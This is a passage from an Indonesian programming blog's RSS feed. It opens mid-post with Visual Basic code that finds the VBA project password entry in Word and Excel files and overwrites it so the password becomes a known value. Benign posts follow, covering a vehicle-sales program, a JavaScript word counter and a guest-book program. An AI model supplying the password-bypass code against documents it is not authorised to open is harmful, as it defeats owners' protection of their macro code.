&lt;br /&gt;Chr(&amp;amp;H42) &amp;amp; Chr(&amp;amp;H3D) &amp;amp; Chr(&amp;amp;H22)      &lt;br /&gt;&#39;// Buka File Excel &amp;amp; Word      &lt;br /&gt;hFile = GetFile(Hwnd)      &lt;br /&gt;If Trim(hFile) &amp;lt;&amp;gt; &amp;quot;&amp;quot; Then      &lt;br /&gt;Dim isiDok As String * 1000      &lt;br /&gt;inFile = FileLen(hFile)      &lt;br /&gt;&#39;// Lakukan pembackupan dokumen sebelum melakukan perubahan      &lt;br /&gt;Dim FileAsli As String      &lt;br /&gt;FileAsli = Dir(hFile &amp;amp; &amp;quot;.bak&amp;quot;, vbNormal)      &lt;br /&gt;If FileAsli = &amp;quot;&amp;quot; Then      &lt;br /&gt;FileCopy hFile, hFile &amp;amp; &amp;quot;.bak&amp;quot;      &lt;br /&gt;End If      &lt;br /&gt;&#39;// Baca Tulis Ke File      &lt;br /&gt;Open hFile For Binary Access Read Write As #1      &lt;br /&gt;&#39;// Lakukan Pengulangan Menurut Ukuran File tsb      &lt;br /&gt;For nLoop = 1 To inFile Step 1000      &lt;br /&gt;&#39;// Ambil Data Sebanyak 1000 Karakter      &lt;br /&gt;Get #1, nLoop, isiDok      &lt;br /&gt;DoEvents      &lt;br /&gt;Dim Pos1 As Long, pos2 As Long, pos3 As Long      &lt;br /&gt;&#39;// Periksa Header Key Password      &lt;br /&gt;Pos1 = Instr(1, isiDok, Header, vbBinaryCompare)      &lt;br /&gt;If Pos1 Then      &lt;br /&gt;pos2 = nLoop + Pos1 + Len(Header) - 2      &lt;br /&gt;&#39;// Ambil data pada pointer setelah Header Key      &lt;br /&gt;Get #1, pos2, isiDok      &lt;br /&gt;&#39;// Periksa Isi data yg didapat, apakah terdapat End Key?      &lt;br /&gt;Pos1 = Instr(1, isiDok, Chr(&amp;amp;HD) &amp;amp; Chr(&amp;amp;HA), vbBinaryCompare)      &lt;br /&gt;If Pos1 Then      &lt;br /&gt;&#39;// Hitung panjang password yang terdapat pada file      &lt;br /&gt;pos3 = Len(Replace(Mid(isiDok, 1, Pos1 - 1), Chr(34), &amp;quot;&amp;quot;))      &lt;br /&gt;If pos3 Then      &lt;br /&gt;Select Case pos3      &lt;br /&gt;Case 72      &lt;br /&gt;&#39;// Rubah dengan password baru      &lt;br /&gt;Put #1, pos2 + 1, vbbego72      &lt;br /&gt;MsgBox &amp;quot;Password: vbbego&amp;quot;, 64, &amp;quot;www.vbbego.com&amp;quot;      &lt;br /&gt;Case 74      &lt;br /&gt;&#39;// Rubah dengan password baru      &lt;br /&gt;Put #1, pos2 + 1, vbbego74      &lt;br /&gt;MsgBox &amp;quot;Password: vbbego&amp;quot;, 64, &amp;quot;www.vbbego.com&amp;quot;      &lt;br /&gt;Case 76      &lt;br /&gt;&#39;// Rubah dengan password baru      &lt;br /&gt;Put #1, pos2 + 1, vbbego76      &lt;br /&gt;MsgBox &amp;quot;Password: vbbego&amp;quot;, 64, &amp;quot;www.vbbego.com&amp;quot;      &lt;br /&gt;Case Else      &lt;br /&gt;&#39;// Rubah dengan password baru      &lt;br /&gt;&#39;Put #1, pos2 + 1, vbbegoxx      &lt;br /&gt;MsgBox &amp;quot;Password: komunitasvbbego&amp;quot;, 64, &amp;quot;www.vbbego.com&amp;quot;      &lt;br /&gt;End Select      &lt;br /&gt;State = True      &lt;br /&gt;Exit For      &lt;br /&gt;End If &#39;// Pos3      &lt;br /&gt;End If &#39;// Pos1-&amp;gt;2      &lt;br /&gt;End If &#39;// Pos1-&amp;gt;1      &lt;br /&gt;isiDok = &amp;quot;&amp;quot;      &lt;br /&gt;Next nLoop      &lt;br /&gt;Close #1      &lt;br /&gt;If State = False Then MsgBox &amp;quot;Password Tidak Ditemukan&amp;quot;, _      &lt;br /&gt;16, &amp;quot;www.vbbego.com&amp;quot;      &lt;br /&gt;End If      &lt;br /&gt;End Sub&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align=&quot;justify&quot;&gt;   &lt;br /&gt;Setelah tu kamu tambahi Module1 kemudian tuliskan code berikut&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align=&quot;justify&quot;&gt;Option Explicit     &lt;br /&gt;Private Declare Function GetOpenFileName Lib &amp;quot;comdlg32.dll&amp;quot; Alias _      &lt;br /&gt;&amp;quot;GetOpenFileNameA&amp;quot; (pOpenfilename As OPENFILENAME) As Long      &lt;br /&gt;Private Type OPENFILENAME      &lt;br /&gt;lStructSize As Long      &lt;br /&gt;hwndOwner As Long      &lt;br /&gt;hInstance As Long      &lt;br /&gt;lpstrFilter As String      &lt;br /&gt;lpstrCustomFilter As String      &lt;br /&gt;nMaxCustFilter As Long      &lt;br /&gt;nFilterIndex As Long      &lt;br /&gt;lpstrFile As String      &lt;br /&gt;nMaxFile As Long      &lt;br /&gt;lpstrFileTitle As String      &lt;br /&gt;nMaxFileTitle As Long      &lt;br /&gt;lpstrInitialDir As String      &lt;br /&gt;lpstrTitle As String      &lt;br /&gt;flags As Long      &lt;br /&gt;nFileOffset As Integer      &lt;br /&gt;nFileExtension As Integer      &lt;br /&gt;lpstrDefExt As String      &lt;br /&gt;lCustData As Long      &lt;br /&gt;lpfnHook As Long      &lt;br /&gt;lpTemplateName As String      &lt;br /&gt;End Type      &lt;br /&gt;Function GetFile(Hwnd As Long) As String      &lt;br /&gt;Dim OFName As OPENFILENAME      &lt;br /&gt;OFName.lStructSize = Len(OFName)      &lt;br /&gt;OFName.hwndOwner = Hwnd      &lt;br /&gt;OFName.hInstance = App.hInstance      &lt;br /&gt;OFName.lpstrFilter = &amp;quot;Ms Ofice97/XP/2003(*.doc;*.xls)&amp;quot; _      &lt;br /&gt;+ Chr$(0) + &amp;quot;*.doc;*.xls&amp;quot; + Chr$(0) _      &lt;br /&gt;+ &amp;quot;Kabeh File (*.*)&amp;quot; + Chr$(0) + &amp;quot;*.*&amp;quot; + Chr$(0)      &lt;br /&gt;OFName.lpstrFile = Space$(254)      &lt;br /&gt;OFName.nMaxFile = 255      &lt;br /&gt;OFName.lpstrFileTitle = Space$(254)      &lt;br /&gt;OFName.nMaxFileTitle = 255      &lt;br /&gt;OFName.lpstrInitialDir = &amp;quot;C:\&amp;quot;      &lt;br /&gt;OFName.lpstrTitle = &amp;quot;Open File - vbBego Team 2000&amp;quot;      &lt;br /&gt;OFName.flags = 0      &lt;br /&gt;If GetOpenFileName(OFName) Then      &lt;br /&gt;GetFile = Left(OFName.lpstrFile, _      &lt;br /&gt;InStr(1, OFName.lpstrFile, Chr(0)) - 1)      &lt;br /&gt;Else      &lt;br /&gt;GetFile = &amp;quot;&amp;quot;      &lt;br /&gt;End If      &lt;br /&gt;End Function&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align=&quot;justify&quot;&gt;   &lt;br /&gt;Setelah selesaikan tinggal di jalankan deh dengan menekan tombol F5. Klik Aja command1 kememudian cari dokumen yang ada VBA terpassword (jangan lupa ditutup dulu ya dokumennya)    &lt;br /&gt;Bagi yang susah mencopy pastekan tu source code silahkan ambil aja source codenya langsung yang aku tulis. &lt;a href=&quot;http://www.4shared.com/file/59350001/b5f1048a/CrackVBA.html?dirPwdVerified=836a0645&quot;&gt;klik disini&lt;/a&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;source : &lt;a href=&quot;http://s0dikin.blogspot.com/2008/08/mbobol-password-vba.html&quot; target=&quot;_blank&quot;&gt;s0dikin.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div class=&quot;wlWriterSmartContent&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:11f5e660-434e-4a53-8de2-d2c20def2eed&quot; style=&quot;padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/visual%20basic&quot; rel=&quot;tag&quot;&gt;visual basic&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/application&quot; rel=&quot;tag&quot;&gt;application&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/hack&quot; rel=&quot;tag&quot;&gt;hack&lt;/a&gt;&lt;/div&gt;  </description><link>http://indoprogrammer.blogspot.com/2008/08/mbobol-password-vba.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-2094120532599598269</guid><pubDate>Thu, 21 Aug 2008 12:37:00 +0000</pubDate><atom:updated>2008-08-21T19:37:08.431+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Visual Basic</category><title>Source Code Visual Basic: Sistem Informasi Penjualan Kendaraan Bermotor</title><description>&lt;h5&gt;&lt;img style=&quot;margin: 0px 5px 0px 0px&quot; height=&quot;144&quot; src=&quot;http://lh5.ggpht.com/riyunizaalbum/SKW2S_icaNI/AAAAAAAAAJ0/OxgCZfuGlEE/zrclip_002pfa96f13.png?imgmax=400&quot; width=&quot;192&quot; align=&quot;left&quot; /&gt;Program ini merupakan program tentang sistem informasi penjualan kendaraan bermotor, program yang dibuat tergolong lengkap mulai dari entri data kendaraan, entri harga angsuran, pelanggan transaksi dan angsuran. Dilihat dari menu yang tersedia program sepertinya mendukung jenis penjualan kredit.&lt;/h5&gt;  &lt;p&gt;Menariknya untuk pelaporan program menyediakan informasi dan laporan, informasi ditampilkan dengan menggunakan grid yang bisa difilter berdasarkan kriteria tertentu, dan laporan dengan menggunakan crystal report.&lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;p&gt;Untuk mendownload program klik di &lt;a href=&quot;http://rambutbiru.googlepages.com/sispkb.zip&quot;&gt;download Source Code Visual Basic: Sistem Informasi Penjualan Kendaraan Bermotor     &lt;br /&gt;&lt;/a&gt;password: riyuniza&lt;/p&gt;  &lt;p&gt;source : &lt;a href=&quot;http://e-riyuniza.blogspot.com/2008/08/source-code-visual-basic-sistem.html&quot; target=&quot;_blank&quot;&gt;e-riyuniza.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div class=&quot;wlWriterSmartContent&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:352c3b10-b085-4dae-a86e-2f1d155f3320&quot; style=&quot;padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/visual%20basic&quot; rel=&quot;tag&quot;&gt;visual basic&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/source%20code&quot; rel=&quot;tag&quot;&gt;source code&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/penjualan&quot; rel=&quot;tag&quot;&gt;penjualan&lt;/a&gt;&lt;/div&gt;  </description><link>http://indoprogrammer.blogspot.com/2008/08/source-code-visual-basic-sistem.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh5.ggpht.com/riyunizaalbum/SKW2S_icaNI/AAAAAAAAAJ0/OxgCZfuGlEE/s72-c/zrclip_002pfa96f13.png?imgmax=400" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-2529250179412097341</guid><pubDate>Thu, 21 Aug 2008 12:34:00 +0000</pubDate><atom:updated>2008-08-21T19:34:41.018+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Javascript</category><title>Membuat program penghitung kata dengan Java Script</title><description>&lt;p align=&quot;justify&quot;&gt;&lt;a href=&quot;http://wikanpribadi.files.wordpress.com/2008/08/hitung_kata.jpg&quot;&gt;&lt;img style=&quot;margin: 0px 5px 0px 0px&quot; height=&quot;203&quot; alt=&quot;&quot; src=&quot;http://wikanpribadi.files.wordpress.com/2008/08/hitung_kata.jpg?w=300&amp;amp;h=203&quot; width=&quot;300&quot; align=&quot;left&quot; /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Pernahkah anda suatu saat ingin menghitung banyaknya jumlah kata yang terdapat di dalam suatu artikel/naskah/tulisan soft copy yang ada di komputer anda. Beberapa aplikasi teks editor, seperti MS Word memang sudah menyediakan fasilitas untuk menghitung kata (Word Count). Untuk dapat melakukan penghitungan kata dari file teks selain format yang didukung aplikasi tersebut, tentunya anda harus melakukan prosedur Copy and Paste. Untuk jaga-jaga, jikalau terlalu berat untuk membuka aplikasi tersebut atau jika aplikasi tersebut ternayata tidak tersedia, ada baiknya anda membuat sendiri aplikasi penghitung kata dengan Java Script. Selain tidak sulit membuatnya, aplikasi ini sangat kecil (1 KB) dan hanya membutuhkan browser (seperti: Internet Explorer atau Mozilla Firefox) untuk menjalankannya.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;&amp;#160;&lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;p align=&quot;justify&quot;&gt;Untuk memulai membuatnya, bukalah Notepad kemudian tuliskan source code Java Script seperti berikut:&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;&amp;lt;form method=&amp;#8221;POST&amp;#8221; name=&amp;#8221;hitungkata&amp;#8221;&amp;gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;&amp;lt;script language=&amp;#8221;JavaScript&amp;#8221;&amp;gt;     &lt;br /&gt;function hitung()      &lt;br /&gt;{      &lt;br /&gt;var formcontent=document.hitungkata.kalimat.value      &lt;br /&gt;formcontent=formcontent.split(&amp;#8221; &amp;#8220;)      &lt;br /&gt;document.hitungkata.hasilhitung.value=formcontent.length      &lt;br /&gt;}      &lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;&amp;lt;center&amp;gt;     &lt;br /&gt;&amp;lt;table border=&amp;#8221;0&amp;#8243; cellspacing=&amp;#8221;0&amp;#8243; cellpadding=&amp;#8221;0&amp;#8243;&amp;gt;      &lt;br /&gt;&amp;lt;tr&amp;gt;      &lt;br /&gt;&amp;lt;td width=&amp;#8221;100%&amp;#8221;&amp;gt;&amp;lt;textarea rows=&amp;#8221;12&amp;#8243; name=&amp;#8221;kalimat&amp;#8221; cols=&amp;#8221;60&amp;#8243; wrap=&amp;#8221;virtual&amp;#8221;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/td&amp;gt;      &lt;br /&gt;&amp;lt;/tr&amp;gt;      &lt;br /&gt;&amp;lt;tr&amp;gt;      &lt;br /&gt;&amp;lt;td width=&amp;#8221;100%&amp;#8221;&amp;gt;&amp;lt;div align=&amp;#8221;right&amp;#8221;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;input type=&amp;#8221;button&amp;#8221; value=&amp;#8221;Hitung Jumlah Kata&amp;#8221;      &lt;br /&gt;onClick=&amp;#8221;hitung()&amp;#8221;&amp;gt; &amp;lt;input type=&amp;#8221;text&amp;#8221; name=&amp;#8221;hasilhitung&amp;#8221; size=&amp;#8221;20&amp;#8243;&amp;gt;      &lt;br /&gt;&amp;lt;/td&amp;gt;      &lt;br /&gt;&amp;lt;/tr&amp;gt;      &lt;br /&gt;&amp;lt;/table&amp;gt;      &lt;br /&gt;&amp;lt;center&amp;gt;      &lt;br /&gt;&amp;lt;/form&amp;gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;kemudian simpan dengan memilih [File] &amp;gt; [Save As]. Saat jendela Save As muncul, pada bagian [Save as type:] pilih All files, kemudian ketikan nama file pada bagian [File name:] berikut ekstensi .html dibelakang nama file (misalkan hitung_kata.html).&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Kini anda tinggal membuka file hitung_kata.html menggunakan browser kesukaan anda, masukkan teks yang akan dihitung jumlah katanya pada kotak yang tersedia, kemudian klik tombol [Hitung Jumlah Kata] untuk mengetahui jumlah kata pada teks tersebut.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;source : &lt;a href=&quot;http://wikanpribadi.wordpress.com/2008/08/19/membuat-program-penghitung-kata-dengan-java-script/&quot; target=&quot;_blank&quot;&gt;wikanpribadi.wordpress.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div class=&quot;wlWriterSmartContent&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:0bf27781-65aa-426d-9d77-f69046f1ef07&quot; style=&quot;padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/javascript&quot; rel=&quot;tag&quot;&gt;javascript&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/source%20code&quot; rel=&quot;tag&quot;&gt;source code&lt;/a&gt;&lt;/div&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;/p&gt;  </description><link>http://indoprogrammer.blogspot.com/2008/08/membuat-program-penghitung-kata-dengan.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-4166915095130616172</guid><pubDate>Thu, 21 Aug 2008 12:30:00 +0000</pubDate><atom:updated>2008-08-21T19:30:35.600+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Visual Basic</category><title>Source Code Program Visual Basic : Program Buku Tamu</title><description>&lt;h5 align=&quot;justify&quot;&gt;&lt;img style=&quot;margin: 0px 5px 0px 0px&quot; height=&quot;168&quot; src=&quot;http://lh6.ggpht.com/riyunizaalbum/SKW2iecvi6I/AAAAAAAAAJ8/jn0vJvYHOvg/BUKUTAMU_0001.jpg?imgmax=800&quot; width=&quot;177&quot; align=&quot;left&quot; /&gt;Pernah menggunakan sebuah buku tamu untuk menerima tamu di acara-acara seperti seminar, atau lokakarya dan sebagainya?. Tentunya berdasarkan buku tamu tersebut nantinya akan dibuatkan sertifikat bahwa si tamu menghadiri acara seminar/lokakarya tersebut.&lt;/h5&gt;  &lt;p align=&quot;justify&quot;&gt;Kesulitan utama menggunakan buku tamu adalah ketidak tahuan si peserta bahwa nama yang diisi haruslah benar, dan dengan gelar yang tepat. Sebab jika tidak buku tamu itu akan di entrikan kedalam komputer mungkin dengan menggunakan mail merge ataupun dengan aplikasi excel untuk kemudian dicetak di blangko yang sudah ada.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Untuk membantu hal tersebut bagaimana kalau kita buatkan sebuah program untuk mengentrikan data para peserta seminar tersebut. Setelah data selesai di entrikan kemudian akan didapatkan data lengkap si peserta dan bisa langsung di print ditempat untuk mendapatkan sertifikatnya!.&lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;p align=&quot;justify&quot;&gt;Kebetulan, sewaktu masih bekerja di Universitas Negeri Padang, saya pernah merancang sebuah program aplikasi yang berguna untuk mencetak ucapan terima kasih kepada para tamu yang datang ke UPI YPTK Padang. Program ini bisa dikembangkan untuk membuat program buku tamu sebagaimana dimaksud, silahkan dikembangkan.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Anda bisa mendownloadnya di &lt;a href=&quot;http://rambutbiru.googlepages.com/bukutamu.zip&quot;&gt;Download Source Code Program Visual Basic : Program Buku Tamu&lt;/a&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Password:riyuniza&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Selamat belajar..&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;source : &lt;a href=&quot;http://e-riyuniza.blogspot.com/2008/08/source-code-program-visual-basic_15.html&quot; target=&quot;_blank&quot;&gt;e-riyuniza.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div class=&quot;wlWriterSmartContent&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:4cfd2e80-5558-4464-b885-0d96100b09d5&quot; style=&quot;padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/visual%20basic&quot; rel=&quot;tag&quot;&gt;visual basic&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/program&quot; rel=&quot;tag&quot;&gt;program&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/source%20code&quot; rel=&quot;tag&quot;&gt;source code&lt;/a&gt;&lt;/div&gt;  </description><link>http://indoprogrammer.blogspot.com/2008/08/source-code-program-visual-basic.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh6.ggpht.com/riyunizaalbum/SKW2iecvi6I/AAAAAAAAAJ8/jn0vJvYHOvg/s72-c/BUKUTAMU_0001.jpg?imgmax=800" height="72" width="72"/><thr:total>0</thr:total></item></channel></rss>